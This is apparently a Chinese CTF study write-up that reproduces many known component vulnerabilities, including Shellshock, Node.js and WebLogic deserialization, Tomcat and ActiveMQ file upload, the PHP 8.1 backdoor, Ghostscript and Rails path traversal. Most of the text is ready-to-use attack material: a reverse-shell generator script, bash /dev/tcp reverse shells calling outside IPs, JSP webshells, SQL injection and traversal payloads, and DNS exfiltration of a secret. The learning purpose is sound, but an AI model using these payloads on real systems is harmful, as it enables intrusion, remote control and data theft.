组件漏洞最大的收获应该就是锻炼自己复现漏洞的能力吧2333,其次就是网上搜索漏洞的能力,很多组件都还没接触过,只得照着网上的分析来复现了
Bash远程代码执行漏洞“破壳”(CVE-2014-6271)分析
在请求头中加入以下Payload:
x: () { :; }; echo; /bin/cat /f*
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
警告:如果为使用 !php/object 标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。
所以在开头部分使用!php/object
就会造成后面字符串的反序列化
!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"$_POST[1]);?>";}
起因是服务器对cookie中的user就行了反序列化,而cookie可控,因此产生了反序列化的问题
nodejs反序列化漏洞
用这个反弹shell的脚本生成一个payload:
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
print ("Usage: %s " % (sys.argv[0]))
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print ("[+] LHOST = %s" % (IP_ADDR))
print ("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print ("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print ("eval(String.fromCharCode(%s))" % (PAYLOAD))
{"username":"_$$ND_FUNC$$_function (){YOUR-PAYLOAD}()"}
最后将cookie的user值替换成上面的即可
phpmailer RCE漏洞分析
一个邮件系统 ,有好一些漏洞,比如:CVE-2016-10033
直接看EXP打了,执行下面的EXP会生成含有一句话的a.php
name=a&email="aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @qq.com&message=<?php eval($_POST[1]);?>
这题看到后感觉信息量有点少…Spring Data Rest RCE案例分析(CVE-2017-8046)
bit师傅yyds!照着师傅的WP复现了一下
首先就是访问/api/people
,在这个页面POST发送一个JSON格式的请求…这个请求后就会创建一个用户,且能得到一个ID
访问api/people/5
。抓包并修改请求为PATCH
,修改content-type
,修改JSON内容
利用下面的脚本会生成一堆数字,其中YOUR-IP
就是bash -i >& /dev/tcp/IP/PORT 0>&1
的bash64编码
payload = b'bash -c {echo,YOUR-IP}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)
生成的数字带入下面即可反弹shell
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{生成的数字}))/lastname", "value": "whatever" }]
漏洞复现|CVE-2017-12615远程代码执行(内附POC)
该漏洞可以利用PUT
方法进行文件上传从而远程代码执行
漏洞利用方法:
通过在文件名的扩展名后面附加/
字符,可以绕过文件扩展名检查。
文件内容写入JSP一句话木马
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(""
);
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
/ppp.jsp?pwd=023&i=cat /flag
WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection
题目中也说了是SQL注入,注入点在id
public function populate_download_edit_form() {
global $wpdb; // this is how you get access to the database
if( isset( $_POST[ 'id' ] ) ) {
$value = $_POST[ 'id' ];
$download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
}
echo json_encode( $download );
die(); // this is required to terminate immediately and return a proper response
}
Payload:
/wp-admin/admin-ajax.php?action=populate_download_edit_form
id=0 union select 1,2,3,4,5,6,load_file(0x2f666c61675f69735f68657265)-- -
(CVE-2017-10271)weblogic XMLDecoder反序列化漏洞复现过程
这题一开始搜网页前面的内容基本是CVE-2019-2725的漏洞,然后就一开始找错方向了…
这题实际是CVE-2017-10271
访问/wls-wsat/CoordinatorPortType
,得到下图即可验证存在漏洞
利用反弹shell:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/IP/PORT 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do
,/ws_utc/config.do
1、访问/ws_utc/config.do
,将工作目录改成/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
2、直接上传webshell文件
上传的时候要抓包,因为需要时间戳信息,这个时间戳要响应包的而不是请求包的
上传成功后文件会生成在:/ws_utc/css/config/keystore/[时间戳]_[文件名]
访问一下webshell即可
/ws_utc/css/config/keystore/1628762157937_ma.jsp?i=cat ../../../flag
ActiveMQ任意文件写入漏洞
访问/admin/test/systemProperties.jsp
以admin:admin
的账密登陆,登陆后可知ActiveMQ的绝对路径activemq.home
是 /opt/activemq
以下数据包用于生成含webshell的1.txt
PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
返回204则执行成功
以下数据包用于移动/fileserver/1.txt
到/opt/activemq/webapps/api/shell.jsp
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
然后访问/api/shell.jsp?i=cat /root/flag
即可得到flag
Apereo CAS 4.1反序列化RCE漏洞复现
漏洞原理实际上是Webflow中使用了默认密钥changeit:
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
我们使用Apereo-CAS-Attack来复现这个漏洞。下载地址:https://github.com/vulhub/Apereo-CAS-Attack/releases
然后使用反弹shell的payload:网站
编译一下得到最后的payload
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}”
抓登陆的包,然后将上门生成的替换到execution的值,放包就会反弹shell了
Apache HTTPD的2.4.0~2.4.29
版本中存在一个解析漏洞,在解析PHP时,1.php\x0a
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
源码如下,黑名单的设置使用in_array
,不安全
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
.......
注意:这里如果使用$_FILES['file']['name']
就不会造成换行的漏洞,因为$_FILES['file']['name']
会自动把换行去掉
利用:上传webshell,同时紧随在文件名后面插入一个\x0a
换行符,右键找到Insert byte
然后修改成0a
即可
题目中这个文件的设置导致了问题产生
/etc/apache2/conf-available/docker-php.conf
他的配置是使用AddHandler
的,那么只要后缀含有.php
,那么就会被解析成php文件
AddHandler application/x-httpd-php .php
它和SetHandler
的区别在于SetHandler
是使用正则进行匹配的,而AddHandler
是通过关键字匹配
比如,如下配置文件:
AddType text/html .html
AddLanguage zh-CN .cn
其给.html
后缀增加了media-type
,值为text/html
,给.cn
后缀增加了语言,值为zh-CN
。
此时,如果用户请求文件index.cn.html
,他将返回一个中文的 html
页面
Apache SSI 远程命令执行漏洞(SSI注入漏洞)
SSI
(server-side includes
)提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。
利用:
上传1.shtml,内容是我们要执行的命令
<!--#exec cmd="ls /" -->
这题照着网上的帖子但一直没复现出来,先略过
前段时间的后门,版本影响:PHP 8.1.0-dev
利用:在请求头中加上User-Agentt
头
User-Agentt: zerodiumsystem('cat /f*');
下面代码保存为png格式上传即可,倒数第七行的touch /tmp/aaaaa
就是要执行的命令,上传以后就会触发
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf
改成反弹shell的命令
(%pipe%bash -c "bash -i>& /dev/tcp/119.1.1.1/9999 0>&1")
RUBY ON RAILS 路径穿越与任意文件读取漏洞(CVE-2018-3760、CVE-2019-5418)
1、在assets目录进行文件读取file:///etc/passwd
,进行一次url编码,file:%2f%2f/etc/passwd
2、会报错,选择保存信息中的一个目录,例如/usr/src/blog/app/assets/images/
,拼接成:/assets/file:%2F%2F/usr/src/blog/app/assets/images/../etc/passwd
,然后对..
要二次编码成%252e
,最后变成/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/etc/passwd
,回显发现是被解析成../
了
最后找flag即可
/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag
598就是CVE-2019-5418了,如图:
修改Accept头为 ../../../../../../../../etc/passwd{{
Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)
文章中的反弹shell没成功,外带一些数据也是可以的。借用bit师傅的payload,使用DNSLOG外带,且flag在$FLAG中
/download?uri=ftp://119.29.60.71:2121/&file=|ping${IFS}$FLAG.fxu89a.dnslog.cn${IFS}-c${IFS}4
ping `ls|head -n 11|sed ":a;N;s/\n/./g;ta"`.z83djy.dnslog.cn